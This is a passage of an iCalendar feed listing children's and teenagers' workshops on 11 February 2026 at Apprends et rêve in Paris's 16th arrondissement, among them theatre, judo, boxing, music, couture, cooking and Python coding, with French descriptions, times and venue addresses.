URL:https://apprends-et-reve.fr/activite/copie-de-gymnastique-rythmique-harmonie-agilite-dexterite/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive,GR ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/GRS-Web-67.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T143000 DTEND;TZID=Europe/Paris:20260211T153000 DTSTAMP:20260121T154105 CREATED:20250505T132931Z LAST-MODIFIED:20250515T205333Z UID:10018111-1770820200-1770823800@apprends-et-reve.fr SUMMARY:Éveil au théâtre pour les 3-5 ans DESCRIPTION:Grâce à cet éveil au théâtre\, les plus petits vont apprendre à reconnaître puis exprimer leurs émotions pour répondre à une demande\, une histoire\, un personnage. \nDe petits exercices vont également les aider à prendre conscience de l’espace\, de l’autre\, de la manière et des possibilités d’inter-agir avec l’autre. Ils vont également apprendre à jouer de leur voix et de leur corps. \nLe tout\, grâce à des échauffements\, exercices et histoires. URL:https://apprends-et-reve.fr/activite/eveil-au-theatre-pour-les-3-5-ans-2/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/05/theatre-Depositphotos_72163619_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T150000 DTEND;TZID=Europe/Paris:20260211T160000 DTSTAMP:20260121T154105 CREATED:20250505T153455Z LAST-MODIFIED:20250505T153455Z UID:10016191-1770822000-1770825600@apprends-et-reve.fr SUMMARY:Améliorer sa technique de dessin - Dessin académique confirmé DESCRIPTION:Dessiner\, c’est savoir construire un dessin\, travailler les proportions. Cet atelier de dessin académique destiné aux confirmés permet d’améliorer et perfectionner sa maîtrise technique. \nLes séances permettront de développer l’observation\, le geste\, les proportions et donneront aux ados la base nécessaire. Les élèves approfondiront\, selon une méthode évolutive\, leurs techniques de la perspective\, le volume\, le portrait\, le corps\, les valeurs. URL:https://apprends-et-reve.fr/activite/ameliorer-sa-technique-de-dessin-dessin-academique-confirme/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Créativité,Dessin académique ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2020/06/6.png GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T150000 DTEND;TZID=Europe/Paris:20260211T160000 DTSTAMP:20260121T154105 CREATED:20250505T155103Z LAST-MODIFIED:20250505T155103Z UID:10016231-1770822000-1770825600@apprends-et-reve.fr SUMMARY:Hip Hop: L' art du mouvement DESCRIPTION:L’ atelier hebdomadaire de hip-hop permet aux enfants et aux jeunes de jouer avec des codes et des sonorités actuelles. Vecteur de connaissance de son corps et de confiance en soi à travers la découverte de figures debout ou au sol\, la danse hip-hop dite breakdance développe également la créativité des enfants à travers l’improvisation (freestyle). \nPar les chorégraphies\, le hip-hop est aussi un moment d’échange privilégié et de partage.\nDans cet atelier\, les enfants apprendront les figures de base de cet art\, leur permettant ainsi de commencer à improviser et s’amuser en rythme. URL:https://apprends-et-reve.fr/activite/hip-hop-l-art-du-mouvement/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Danse,Hip Hop/Breakdance ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/09/img_categorie_theme_breakdance_home.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T150000 DTEND;TZID=Europe/Paris:20260211T160000 DTSTAMP:20260121T154105 CREATED:20250505T160722Z LAST-MODIFIED:20250515T210326Z UID:10016271-1770822000-1770825600@apprends-et-reve.fr SUMMARY:Initiation musicale: Plongée dans l’univers musical DESCRIPTION:Avec l’atelier d’initiation musicale\, les enfants vont apprendre à reconnaître les éléments de la musique\, les différents instruments\, les premiers éléments d’écriture aussi\, mais toujours en s’amusant et grâce au jeu et à la richesse du groupe.\nIls découvriront le monde de la musique à travers l’écoute\, de soi\, des musiques proposées et des autres grâce à une participation active.Les instruments utilisés seront principalement la voix\, le chant et le mouvement\, mais la découverte d’instruments viendra enrichir l’apprentissage des enfants. L’écoute d’enregistrement de qualité permettra de découvrir un répertoire varié allant des musique du monde au classique en passant par la musique populaire et contemporaine. \nLes enfants vont apprendre à reconnaître\, à connaître\, et bien sûr\, à créer !!! URL:https://apprends-et-reve.fr/activite/initiation-musicale-plongee-dans-lunivers-musical/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Initiation musicale,Musique / son ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/Gala-2016-391-e1488564322194-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T150000 DTEND;TZID=Europe/Paris:20260211T160000 DTSTAMP:20260121T154105 CREATED:20250515T233056Z LAST-MODIFIED:20250523T105303Z UID:10020785-1770822000-1770825600@apprends-et-reve.fr SUMMARY:Basket: JUST DO IT! DESCRIPTION:Quel meilleur sport que le basketball pour développer son agilité\, son cardio\, sa vivacité et son esprit d’équipe ? Le basket est un sport mythique\, qui passe par tous les univers\, de la télé\, à travers les plus prestigieuses compétitions américaines\, jusqu’à la rue\, là où il rassemble et permet de créer des liens à travers sa pratique. \nLes ados découvriront les techniques et les gestes propres au basket avec un professeur qui les accompagnera dans la maîtrise de ce sport\, tout en s’amusant et en dépassant leurs limites. URL:https://apprends-et-reve.fr/activite/basket-just-do-it-2/2026-02-11/ LOCATION:Stade Georges Hébert\, 15 avenue Murat\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Basket-ados.jpg GEO:48.846499;2.2584507 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Stade Georges Hébert 15 avenue Murat Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=15 avenue Murat:geo:2.2584507,48.846499 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T153000 DTEND;TZID=Europe/Paris:20260211T163000 DTSTAMP:20260121T154105 CREATED:20250515T205054Z LAST-MODIFIED:20250523T123753Z UID:10020902-1770823800-1770827400@apprends-et-reve.fr SUMMARY:Baby judo\, pour découvrir coordination et maîtrise DESCRIPTION:Essentiellement basé sur le jeu et la propre découverte de son corps et adapté en fonction de l’âge des participants\, cet atelier permettra aux enfants\, d’apprendre\, par une pédagogie adaptée à contrôler leurs gestes\, défouler leur trop-plein d’énergie\, coordonner leurs mouvements et se discipliner. Les enfants découvriront les techniques pour anticiper et réagir à la réaction et au déplacement du partenaire\, les quatre techniques fondamentales d’immobilisation au sol suite à une technique de projection\, le combat debout avec la coopération du partenaire et enfin les différentes situations possibles en sol\, entre jambes\, à quatre pattes et sur le ventre. URL:https://apprends-et-reve.fr/activite/baby-judo-pour-decouvrir-coordination-et-maitrise/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/baby-judo.jpeg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T153000 DTEND;TZID=Europe/Paris:20260211T163000 DTSTAMP:20260121T154105 CREATED:20250515T212108Z LAST-MODIFIED:20250521T122932Z UID:10018230-1770823800-1770827400@apprends-et-reve.fr SUMMARY:Découverte du théâtre pour les 4-7 ans DESCRIPTION:S’il est facile de jouer un personnage seul\, ou avec des amis dans la cour de récréation ou à la maison\, être « en représentation » sur une scène de théâtre ou devant les autres\, c’est une autre paire de manches ! \nNous proposons aux plus jeunes d’apprendre à exister sur scène\, incarner un personnage\, déclamer un texte\, interagir avec les autres\, raconter une histoire… Bref\, être un acteur ! \nLe théâtre est une véritable porte d’entrée vers le futur\, une école à la découverte de soi que nous proposons aux petits dès 4 ans. URL:https://apprends-et-reve.fr/activite/decouverte-du-theatre-pour-les-4-7-ans/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Theatre-4-7-ans.jpeg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T153000 DTEND;TZID=Europe/Paris:20260211T163000 DTSTAMP:20260121T154105 CREATED:20250515T230021Z LAST-MODIFIED:20250523T134739Z UID:10021175-1770823800-1770827400@apprends-et-reve.fr SUMMARY:Boxe: aller au combat DESCRIPTION:Que ce soit la boxe thaï ou la boxe anglaise\, cette activité permettra aux enfants  de se défouler mais aussi d’apprendre à respecter son partenaire et des règles. \nMaîtriser le corps à corps\, améliorer sa motricité\, se muscler… autant d’avantages à pratiquer ce sport. URL:https://apprends-et-reve.fr/activite/boxe-aller-au-combat/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Boxe-7-11-ans.jpeg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T153000 DTEND;TZID=Europe/Paris:20260211T163000 DTSTAMP:20260121T154105 CREATED:20250520T092618Z LAST-MODIFIED:20250520T100107Z UID:10020532-1770823800-1770827400@apprends-et-reve.fr SUMMARY:Découverte du théâtre: vivre et jouer\, sur scène! DESCRIPTION:S’il est facile de jouer un personnage seul\, ou avec des amis dans la cour de récréation ou à la maison\, être « en représentation » sur une scène de théâtre ou devant les autres\, c’est une autre paire de manches ! \nNous proposons aux plus jeunes d’apprendre à exister sur scène\, incarner un personnage\, déclamer un texte\, interagir avec les autres\, raconter une histoire… Bref\, être un acteur ! \nLe théâtre est une véritable porte d’entrée vers le futur\, une école à la découverte de soi que nous proposons aux petits dès 4 ans. URL:https://apprends-et-reve.fr/activite/decouverte-du-theatre-vivre-et-jouer-sur-scene/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-5theatre_7_12.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T153000 DTEND;TZID=Europe/Paris:20260211T170000 DTSTAMP:20260121T154105 CREATED:20250505T161411Z LAST-MODIFIED:20250522T150618Z UID:10016311-1770823800-1770829200@apprends-et-reve.fr SUMMARY:Baby english: découverte de l'anglais pour les 4-5 ans DESCRIPTION:POUR LES ENFANTS ÂGÉS DE 4 À 5 ANS \nMusique\, jeu\, dessin\, jeux de rôle\, découpage\, chant… tous les moyens sont bons pour faire découvrir et apprendre l’anglais. Grâce à Ang\, professeur américain ayant longtemps enseigné l’anglais aux enfants aussi bien en Chine qu’en Italie\, la langue de Shakespeare n’aura plus de secrets pour vos petites têtes blondes. \nCar transmettre sa langue maternelle est une vraie passion pour Ang. Tout comme créer des liens avec les enfants\, savoir les passionner\, les faire participer\, les faire communiquer. \nEn s’appuyant sur la méthode de Cambridge\, cet atelier préparera vos enfants au « Young learners Cambridge exam ». URL:https://apprends-et-reve.fr/activite/baby-english-decouverte-de-langlais-pour-les-4-5-ans-3/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Anglais,Initiation à l'anglais ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/04/garcon-drapeau-anglais-Depositphotos_3696411_s-2019.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T160000 DTEND;TZID=Europe/Paris:20260211T171500 DTSTAMP:20260121T154105 CREATED:20250509T143151Z LAST-MODIFIED:20250509T143358Z UID:10016991-1770825600-1770830100@apprends-et-reve.fr SUMMARY:Laisser s'exprimer sa créativité DESCRIPTION:Donner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de notre atelier Arts Plastiques où les enfants ne vont pas apprendre à dessiner\, mais à laisser voguer leur imagination. \nIls apprendront à travailler divers matériaux tels que le papier\, le carton\, le tissu\, la terre\, la laine ou encore le fil de fer. Ils découperont\, colleront\, plieront\, agraferont\, utiliserons de la peinture\, des crayons\, des feutres\, créeront des films\, des installations\, des romans-photos\, des histoires. Bref\, des artistes à part entière! URL:https://apprends-et-reve.fr/activite/laisser-sexprimer-sa-creativite-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Créativité ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/Art-Plastiques-WEB-59-e1605281764348.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T160000 DTEND;TZID=Europe/Paris:20260211T173000 DTSTAMP:20260121T154105 CREATED:20250505T162928Z LAST-MODIFIED:20250505T162928Z UID:10016351-1770825600-1770831000@apprends-et-reve.fr SUMMARY:Deviens un fin cordon bleu et fais-toi plaisir! DESCRIPTION:Tu rêves de cuisiner le gâteau le meilleur et le plus beau que tu n’as jamais vu ? Ou bien de pouvoir faire de bons petits plats de temps en temps ? Tu as trouvé ton Graal.\nCar si cuisiner semble facile quand on ne le fait pas\, s’y mettre (et réussir) peut être une autre paire de manches !\nStéphanie\, diplômée de l’école Ferrandi (pâtisserie) et titulaire d’un diplôme de cuisine (salé) sauras t’apprendre les techniques\, te donner envie de cuisiner à nouveau\, t’apprendre des recettes simples\, faciles à refaire\, mais qui éblouissent les papilles. URL:https://apprends-et-reve.fr/activite/deviens-un-fin-cordon-bleu-et-fais-toi-plaisir-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Cuisine ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2023/05/kochen-fuer-anfaenger.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T160000 DTEND;TZID=Europe/Paris:20260211T173000 DTSTAMP:20260121T154105 CREATED:20250506T132359Z LAST-MODIFIED:20250522T150102Z UID:10016711-1770825600-1770831000@apprends-et-reve.fr SUMMARY:Comédie musicale: Du rêve à la scène\, pour les 5-8 ans DESCRIPTION:CET ATELIER EST DESTINÉ AUX ENFANTS ÂGÉS DE 5 À 8 ANS UNIQUEMENT – Chant\, danse\, théâtre et musique sont les fils directeur de cet atelier. Danser\, jouer et chanter de manière simultanée\, mais aussi raconter une histoire. Les enfants apprendront une chorégraphie\, mais surtout à chanter et danser dans un ensemble. Tous en même temps chantant la même partition\, dansant la même chorégraphie et racontant la même histoire. Telle est la force de la comédie musicale.\nIls seront pour cela entourés et dirigés par trois grands professionnels qui\, pour la première fois\, enseigneront dans le XVIème arrondissement de Paris : Stephy Haik (chant)\, Maria Laura Baccarini (théâtre et danse) et Sébastien Ménard (piano). URL:https://apprends-et-reve.fr/activite/comedie-musicale-du-reve-a-la-scene-pour-les-5-8-ans/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Comédie musicale,Danse,Musique / son,Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/comedie2015-50-e1489508546134-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T163000 DTEND;TZID=Europe/Paris:20260211T173000 DTSTAMP:20260121T154105 CREATED:20250515T210815Z LAST-MODIFIED:20250521T122017Z UID:10018190-1770827400-1770831000@apprends-et-reve.fr SUMMARY:Premières notes dans le monde magique de la musique DESCRIPTION:Avec cet atelier\, les enfants vont s’immerger dans le monde magique de la musique. Ils vont apprendre à reconnaître les éléments de la musique\, les différents instruments\, les premiers éléments d’écriture aussi\, mais toujours en s’amusant et grâce au jeu et à la richesse du groupe.\nIls découvriront le monde de la musique à travers l’écoute\, de soi\, des musiques proposées et des autres grâce à une participation active. Les instruments utilisés seront principalement la voix\, le chant et le mouvement\, mais la découverte d’instruments viendra enrichir l’apprentissage des enfants. L’écoute d’enregistrement de qualité permettra de découvrir un répertoire varié allant des musique du monde au classique en passant par la musique populaire et contemporaine. \nLes enfants vont apprendre à reconnaître\, à connaître\, et bien sûr\, à créer !!! URL:https://apprends-et-reve.fr/activite/premieres-notes-dans-le-monde-magique-de-la-musique/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Éveil musical,Musique / son ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Eveil-musical.jpeg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T163000 DTEND;TZID=Europe/Paris:20260211T173000 DTSTAMP:20260121T154105 CREATED:20250515T232319Z LAST-MODIFIED:20250523T134215Z UID:10021136-1770827400-1770831000@apprends-et-reve.fr SUMMARY:Boxe: gagner le combat! DESCRIPTION:Que ce soit la boxe thaï ou la boxe anglaise\, cette activité permettra aux  adolescents de se défouler mais aussi d’apprendre à respecter son partenaire et des règles. \nMaîtriser le corps à corps\, améliorer sa motricité\, se muscler… autant d’avantages à pratiquer ce sport. URL:https://apprends-et-reve.fr/activite/boxe-gagner-le-combat/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Boxe-ado.jpeg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T163000 DTEND;TZID=Europe/Paris:20260211T173000 DTSTAMP:20260121T154105 CREATED:20250526T101921Z LAST-MODIFIED:20250526T101921Z UID:10021377-1770827400-1770831000@apprends-et-reve.fr SUMMARY:Théâtre: Jouer et vivre DESCRIPTION:Jouer est un personnage avec des amis\, dans la cour de récré ou à la maison\, c’est assez simple. Être en représentation devant les autres\, sur une scène de théâtre\, c’est une autre paire de manches ! Notre atelier permet aux enfants d’apprendre à incarner un personnage\, « exister » sur une scène\, savoir placer sa voix\, raconter une histoire\, dire un texte\, interagir avec les autres. En résumé : être un acteur. Notre atelier s’articule autour d’un échauffement corporel et vocal afin de mettre en marche la machine dramatique des enfants. Des jeux permettent de créer une véritable cohésion de groupe ou de travailler des notions précises. \nLes enfants pourront alors aborder le jeu à partir d’une histoire racontée par l’animateur. Dans cet atelier\, les enfants apprendront à occuper l’espace\, à poser leur voix et à jouer avec les autres. Ensuite\, ils pourront\, grâce à des sketchs\, puis des scènes ou extrait de scènes\, incarner des personnages divers et variés. Et enfin\, ils participeront à la création d’une pièce où chacun tiendra « Son » rôle. URL:https://apprends-et-reve.fr/activite/theatre-jouer-et-vivre-7/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-3theatre_7_12.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T163000 DTEND;TZID=Europe/Paris:20260211T180000 DTSTAMP:20260121T154105 CREATED:20250506T133315Z LAST-MODIFIED:20250506T133315Z UID:10016751-1770827400-1770832800@apprends-et-reve.fr SUMMARY:La Haute Couture à petits points DESCRIPTION:Avec cet atelier dirigé par Isabelle\, ancienne de Dior\, Chanel\, Lanvin et formatrice à l’Institut de la Mode\, nous proposons aux ados d’apprendre l’art de la couture et les techniques pour réaliser\, finitions comprises\, des tenues originales. \nDu patronage à la réalisation finale\, votre ado va mettre en œuvre un ensemble de techniques assemblage\, ourlet\, parementure\, revers de jambe et poches. \nDurant cet atelier\, votre ado va aussi faire appel à ses compétences en logique\, mathématique\, géométrie dans l’espace. Et oui ! coudre c’est compter\, mesurer\, tracer\, multiplier\, anticiper\, se projeter. Il aura\, presque à son insu\, mis en pratique des notions « scolaires » et pourra en afficher fièrement le résultat ! URL:https://apprends-et-reve.fr/activite/la-haute-couture-a-petits-points/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Couture ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/01/Couture-ados.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T163000 DTEND;TZID=Europe/Paris:20260211T180000 DTSTAMP:20260121T154105 CREATED:20250516T153902Z LAST-MODIFIED:20250523T085843Z UID:10019939-1770827400-1770832800@apprends-et-reve.fr SUMMARY:Premiers points dans la Haute Couture DESCRIPTION:Avec cet atelier dirigé par Isabelle\, ancienne de Dior\, Chanel\, Lanvin et formatrice à l’Institut de la Mode\, nous proposons aux enfants d’apprendre l’art de la couture et les techniques pour réaliser\, finitions comprises\, des tenues originales. \nDu patronage à la réalisation finale\, votre enfant va mettre en œuvre un ensemble de techniques assemblage\, ourlet\, parementure\, revers de jambe et poches. \nDurant cet atelier\, votre enfant va aussi faire appel à ses compétences en logique\, mathématique\, géométrie dans l’espace .Et oui ! coudre c’est compter\, mesurer\, tracer\, multiplier\, anticiper\, se projeter. Il aura\, presque à son insu\, mis en pratique des notions « scolaires » et pourra en afficher fièrement le résultat ! De quoi éblouir. URL:https://apprends-et-reve.fr/activite/premiers-points-dans-la-haute-couture-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Couture ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/11/Couture-Depositphotos_243661562_S.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T163000 DTEND;TZID=Europe/Paris:20260211T183000 DTSTAMP:20260121T154105 CREATED:20250506T135208Z LAST-MODIFIED:20250506T135208Z UID:10016791-1770827400-1770834600@apprends-et-reve.fr SUMMARY:Apprendre à coder et découvrir langage Python DESCRIPTION:Dans cet atelier informatique\, les pré ados et ados vont s’initier à un langage de programmation intuitif et ludique développé par le MIT (Massachussetts Institute of Technology) pour faciliter l’apprentissage du codage. \nCette activité permet aux adolescents de structurer leur esprit de manière différente\, en pensant à l’utilisateur mais aussi en mobilisant et développant des capacités spécifiques : anticipation\, création numérique\, conception artistique et conscience esthétique\, résolutions de formules mathématiques\, approfondissement de programmation. \nAvec cet atelier\, les ados découvriront également la programmation et les notions clefs du langage Python en créant ludiquement des programmes et en jouant sur le logiciel graphique « Turtle ». \nQuoi de mieux\, par exemple\, que de concevoir un programme pour calculer le coût de son voyage spatial\, plutôt que de prendre des heures à le faire de tête? \nEn filigrane\, les ados apprendront les notions de programmation : variables\, boucles\, fonctions\, etc… À la fois passionnant\, amusant… et utile. \nIls s’initieront en plus à la robotique\, à la 3D afin d’avoir un apprentissage complet. URL:https://apprends-et-reve.fr/activite/apprendre-a-coder-et-decouvrir-langage-python/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Codage,Informatique et numérique,Robotique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/01/adolescent-codage-informatique-python-ordinateur.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T171500 DTEND;TZID=Europe/Paris:20260211T183000 DTSTAMP:20260121T154105 CREATED:20250516T154814Z LAST-MODIFIED:20250523T092723Z UID:10020175-1770830100-1770834600@apprends-et-reve.fr SUMMARY:Être créatif\, c'est tout un Art DESCRIPTION:Pour certains artistes contemporains\, ne pas savoir dessiner est un plus. Il permet à la créativité de s’exprimer plus librement et complètement. Avec l’atelier arts plastiques\, les enfants ne vont pas apprendre à dessiner mais à laisser voguer leur imagination. Ils vont apprendre à travailler des matériaux aussi divers que la terre\, le fil de fer\, le tissu\, le carton\, le papier\, de la mosaïque\, la laine\, la mousse expansive… \nIls utiliseront 